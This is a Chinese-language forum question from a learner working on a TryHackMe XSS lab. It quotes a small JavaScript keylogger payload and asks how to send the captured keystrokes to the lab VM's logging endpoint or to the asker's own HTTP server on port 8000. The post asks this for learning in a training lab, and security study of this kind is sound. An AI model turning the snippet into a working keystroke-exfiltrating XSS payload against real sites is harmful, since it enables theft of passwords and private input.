【发布时间】:2021-10-15 09:36:11
【问题描述】:
我正在 tryhackme.com (https://tryhackme.com/room/xss) 上进行 xss 挑战。第 7 个任务要求我使用简单的键盘记录器
<script type="text/javascript">
let l = "";
document.onkeypress = function (e) {
l += e.key;
console.log(l);
}
</script>
并将输入发送到http://<vm ip>/log/<this data will be logged>,因为这将记录可以通过转到http://<vm ip>/logs 来查看的击键。我已经尝试过诸如window.location 之类的东西,但无法使其正常工作。
为了进一步学习,我还想将数据发送到我在端口8000 上运行的SimpleHTTPServer,以便在我的终端上显示在网页上键入的密钥。我无法让它工作。
有人可以告诉我怎么做吗?
不,我没有恶意。我正在学习,因为我想从事网络安全工作。如果我是恶意的,我只会使用我在 GitHub 上找到的脚本或其他东西,而不了解它们是如何工作的。
谢谢。
【问题讨论】:
标签: javascript xss simplehttpserver